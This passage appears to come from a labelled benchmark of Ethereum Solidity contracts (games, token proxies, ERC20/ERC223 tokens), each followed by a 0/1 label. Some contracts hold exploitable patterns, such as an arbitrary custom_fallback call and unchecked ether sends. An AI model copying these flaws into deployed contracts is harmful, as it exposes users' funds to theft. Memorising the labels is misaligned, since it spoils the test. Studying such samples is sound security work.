returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d;
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,467 |
pragma solidity ^0.4.21;
contract ReceivingContract {
function onTokenReceived(address _from, uint _value, bytes _data) public;
}
contract Gate {
ERC20Basic private TOKEN;
address private PROXY;
function Gate(ERC20Basic _token, address _proxy) public {
TOKEN = _token;
PROXY = _proxy;
}
function transferToProxy(uint256 _value) public {
require(msg.sender == PROXY);
require(TOKEN.transfer(PROXY, _value));
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require(allowed[msg.sender][_spender] == 0);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract TokenProxy is StandardToken, BurnableToken {
ERC20Basic public TOKEN;
mapping(address => address) private gates;
event GateOpened(address indexed gate, address indexed user);
event Mint(address indexed to, uint256 amount);
function TokenProxy(ERC20Basic _token) public {
TOKEN = _token;
}
function getGateAddress(address _user) external view returns (address) {
return gates[_user];
}
function openGate() external {
address user = msg.sender;
require(gates[user] == 0);
address gate = new Gate(TOKEN, this);
gates[user] = gate;
emit GateOpened(gate, user);
}
function transferFromGate() external {
address user = msg.sender;
address gate = gates[user];
require(gate != 0);
uint256 value = TOKEN.balanceOf(gate);
Gate(gate).transferToProxy(value);
totalSupply_ += value;
balances[user] += value;
emit Mint(user, value);
}
function withdraw(uint256 _value) external {
withdrawTo(_value, msg.sender);
}
function withdrawTo(uint256 _value, address _destination) public {
require(_value > 0 && _destination != address(0));
burn(_value);
TOKEN.transfer(_destination, _value);
}
}
contract GolemNetworkTokenBatching is TokenProxy {
string public constant name = "Golem Network Token Batching";
string public constant symbol = "GNTB";
uint8 public constant decimals = 18;
event BatchTransfer(address indexed from, address indexed to, uint256 value,
uint64 closureTime);
function GolemNetworkTokenBatching(ERC20Basic _gntToken) TokenProxy(_gntToken) public {
}
function batchTransfer(bytes32[] payments, uint64 closureTime) external {
require(block.timestamp >= closureTime);
uint balance = balances[msg.sender];
for (uint i = 0; i < payments.length; ++i) {
bytes32 payment = payments[i];
address addr = address(payment);
require(addr != address(0) && addr != msg.sender);
uint v = uint(payment) / 2**160;
require(v <= balance);
balances[addr] += v;
balance -= v;
emit BatchTransfer(msg.sender, addr, v, closureTime);
}
balances[msg.sender] = balance;
}
function transferAndCall(address to, uint256 value, bytes data) external {
transfer(to, value);
ReceivingContract(to).onTokenReceived(msg.sender, value, data);
}
} | 0 | 1,370 |
contract echo {
function () {
msg.sender.send(msg.value);
}
} | 1 | 2,776 |
pragma solidity ^0.4.24;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract STELLARCLASSIC is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function STELLARCLASSIC() public {
symbol = "XLMX";
name = "STELLAR CLASSIC";
decimals = 18;
_totalSupply = 20950990560000000000000000000;
balances[0xf3D5C6aECB62b8E434c844260EA91601d8082357] = _totalSupply;
Transfer(address(0), 0xf3D5C6aECB62b8E434c844260EA91601d8082357, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 3,896 |
pragma solidity ^0.4.23;
contract ERC223 {
uint public totalSupply;
function balanceOf(address who) public view returns (uint);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
}
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
}
}
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract KPRToken is ERC223 {
using SafeMath for uint256;
string public constant symbol="KPR";
string public constant name="KPR Coin";
uint8 public constant decimals=18;
uint256 public buyPrice = 2500;
uint public totalSupply = 100000000 * 10 ** uint(decimals);
uint public buyabletoken = 70000000 * 10 ** uint(decimals);
address public owner;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
uint256 phase1starttime = 1525132800;
uint256 phase1endtime = 1527033540;
uint256 phase2starttime = 1527811200;
uint256 phase2endtime = 1529711940;
function() payable{
require(msg.value > 0);
require(buyabletoken > 0);
require(now >= phase1starttime && now <= phase2endtime);
if (now > phase1starttime && now < phase1endtime){
buyPrice = 3000;
} else if(now > phase2starttime && now < phase2endtime){
buyPrice = 2000;
}
uint256 amount = msg.value.mul(buyPrice);
balances[msg.sender] = balances[msg.sender].add(amount);
balances[owner] = balances[owner].sub(amount);
buyabletoken = buyabletoken.sub(amount);
owner.transfer(msg.value);
}
function KPRToken() {
owner = msg.sender;
balances[owner] = totalSupply;
}
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
function balanceOf(address _owner) constant returns(uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
if (isContract(_to)) {
if (balanceOf(msg.sender) < _value)
revert();
balances[msg.sender] = balanceOf(msg.sender).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value) public returns (bool success) {
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length>0);
}
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value)
revert();
balances[msg.sender] = balanceOf(msg.sender).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value)
revert();
balances[msg.sender] = balanceOf(msg.sender).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
event Transfer(address indexed_from, address indexed_to, uint256 _value);
event Approval(address indexed_owner, address indexed_spender, uint256 _value);
} | 1 | 3,747 |
pragma solidity ^0.4.24;
contract Timelock {
address public owner;
uint public releaseDate;
constructor( uint _days, uint _seconds ) public payable {
require( msg.value > 0, "There's no point in creating an empty Timelock!" );
owner = msg.sender;
releaseDate = now + (_days * 1 days) + (_seconds * 1 seconds);
}
function withdraw() public {
require( msg.sender == owner, "Only the owner can withdraw!" );
require( now > releaseDate, "Cannot withdraw prior to release date!" );
msg.sender.transfer( address(this).balance );
}
} | 0 | 1,096 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Lockable is Ownable {
event Lock();
event Unlock();
bool public locked = false;
modifier whenNotLocked() {
require(!locked);
_;
}
modifier whenLocked() {
require(locked);
_;
}
function lock() onlyOwner whenNotLocked public {
locked = true;
Lock();
}
function unlock() onlyOwner whenLocked public {
locked = false;
Unlock();
}
}
contract BaseFixedERC20Token is Lockable {
using SafeMath for uint;
uint public totalSupply;
mapping(address => uint) balances;
mapping(address => mapping (address => uint)) private allowed;
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
function balanceOf(address owner_) public view returns (uint balance) {
return balances[owner_];
}
function transfer(address to_, uint value_) whenNotLocked public returns (bool) {
require(to_ != address(0) && value_ <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(value_);
balances[to_] = balances[to_].add(value_);
Transfer(msg.sender, to_, value_);
return true;
}
function transferFrom(address from_, address to_, uint value_) whenNotLocked public returns (bool) {
require(to_ != address(0) && value_ <= balances[from_] && value_ <= allowed[from_][msg.sender]);
balances[from_] = balances[from_].sub(value_);
balances[to_] = balances[to_].add(value_);
allowed[from_][msg.sender] = allowed[from_][msg.sender].sub(value_);
Transfer(from_, to_, value_);
return true;
}
function approve(address spender_, uint value_) whenNotLocked public returns (bool) {
if (value_ != 0 && allowed[msg.sender][spender_] != 0) {
revert();
}
allowed[msg.sender][spender_] = value_;
Approval(msg.sender, spender_, value_);
return true;
}
function allowance(address owner_, address spender_) view public returns (uint) {
return allowed[owner_][spender_];
}
}
contract BaseICOToken is BaseFixedERC20Token {
uint public availableSupply;
address public ico;
event ICOTokensInvested(address indexed to, uint amount);
event ICOChanged(address indexed icoContract);
function BaseICOToken(uint totalSupply_) public {
locked = true;
totalSupply = totalSupply_;
availableSupply = totalSupply_;
}
function changeICO(address ico_) onlyOwner public {
ico = ico_;
ICOChanged(ico);
}
function isValidICOInvestment(address to_, uint amount_) internal view returns(bool) {
return msg.sender == ico && to_ != address(0) && amount_ <= availableSupply;
}
function icoInvestment(address to_, uint amount_) public returns (uint) {
require(isValidICOInvestment(to_, amount_));
availableSupply -= amount_;
balances[to_] = balances[to_].add(amount_);
ICOTokensInvested(to_, amount_);
return amount_;
}
}
contract DATOToken is BaseICOToken {
using SafeMath for uint;
string public constant name = 'DATO token';
string public constant symbol = 'DATO';
uint8 public constant decimals = 18;
uint internal constant ONE_TOKEN = 1e18;
uint public utilityLockedDate;
event ReservedTokensDistributed(address indexed to, uint8 group, uint amount);
function DATOToken(uint totalSupplyTokens_,
uint reservedStaffTokens_,
uint reservedUtilityTokens_)
BaseICOToken(totalSupplyTokens_ * ONE_TOKEN) public {
require(availableSupply == totalSupply);
utilityLockedDate = block.timestamp + 1 years;
availableSupply = availableSupply
.sub(reservedStaffTokens_ * ONE_TOKEN)
.sub(reservedUtilityTokens_ * ONE_TOKEN);
reserved[RESERVED_STAFF_GROUP] = reservedStaffTokens_ * ONE_TOKEN;
reserved[RESERVED_UTILITY_GROUP] = reservedUtilityTokens_ * ONE_TOKEN;
}
function() external payable {
revert();
}
uint8 public RESERVED_STAFF_GROUP = 0x1;
uint8 public RESERVED_UTILITY_GROUP = 0x2;
mapping(uint8 => uint) public reserved;
function getReservedTokens(uint8 group_) view public returns (uint) {
return reserved[group_];
}
function assignReserved(address to_, uint8 group_, uint amount_) onlyOwner public {
require(to_ != address(0) && (group_ & 0x3) != 0);
if (group_ == RESERVED_UTILITY_GROUP) {
require(block.timestamp >= utilityLockedDate);
}
reserved[group_] = reserved[group_].sub(amount_);
balances[to_] = balances[to_].add(amount_);
ReservedTokensDistributed(to_, group_, amount_);
}
} | 0 | 2,044 |
pragma solidity 0.4.21;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract EPSBets is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint256 public sellPrice;
uint256 public buyPrice;
mapping(address => uint) public balances;
mapping(address => mapping(address => uint)) public allowed;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
event Burn(address indexed from, uint256 value);
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function EPSBets() public {
symbol = "EPSBETC";
name = "EPS BETS Token";
decimals = 18;
_totalSupply = 10000000;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public view returns (uint) {
return safeSub(_totalSupply , balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) onlyPayloadSize(safeMul(2,32)) public returns (bool success) {
_transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) onlyPayloadSize(safeMul(3,32)) public returns (bool success) {
require (to != 0x0);
require (balances[from] >= tokens);
require (safeAdd(balances[to] , tokens) >= balances[to]);
require(!frozenAccount[from]);
require(!frozenAccount[to]);
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balances[target] = safeAdd(balances[target], mintedAmount);
_totalSupply = safeAdd(_totalSupply, mintedAmount);
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
function freezeAccount(address from, bool freeze) onlyOwner public {
frozenAccount[from] = freeze;
emit FrozenFunds(from, freeze);
}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balances[_from] >= _value);
require (safeAdd(balances[_to] , _value) >= balances[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balances[_from] = safeSub(balances[_from], _value);
balances[_to] = safeAdd(balances[_to], _value);
emit Transfer(_from, _to, _value);
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function buy() payable public {
uint amount = safeDiv(msg.value , buyPrice);
_transfer(this, msg.sender, amount);
}
function sell(uint256 amount) public {
require(address(this).balance >= safeMul(amount ,sellPrice));
_transfer(msg.sender, this, amount);
msg.sender.transfer(safeMul(amount ,sellPrice));
}
